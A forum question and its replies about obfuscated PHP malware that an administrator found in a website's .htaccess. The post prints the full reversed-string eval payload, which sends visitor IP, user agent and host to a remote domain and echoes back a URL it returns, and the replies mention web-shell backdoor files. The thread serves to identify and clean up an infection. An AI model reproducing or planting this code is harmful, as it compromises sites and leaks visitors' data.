views:

44

answers:

2

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:

function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif@ = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes@ { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));

Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?

A: 

function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...

Oliver
Yes, this does appear to be true. So perhaps the right question is, what does the full block of code do?
mujalifah
It's some sort of stats collection. I may have gotten this wrong, but it seems to send the stats to http://ininininininininin.in/in.php
Oliver
Oh, and it checks for a response, and if the response contains a URL and the text "!go!" it prints that url. This is a pretty strange script...
Oliver
I've found more files scattered around the site that this may be related to. They're called "google[RANDOMNUMBERSLETTERS].php" Random numbers and letters really being something like 06f114f62492.I could copy it here, but it is fairly long. Starts out with "<?php # Web Shell by boff" and the domain referenced "exploit-db.com". It seems to be a back door.
mujalifah
A: 
Wyatt Anderson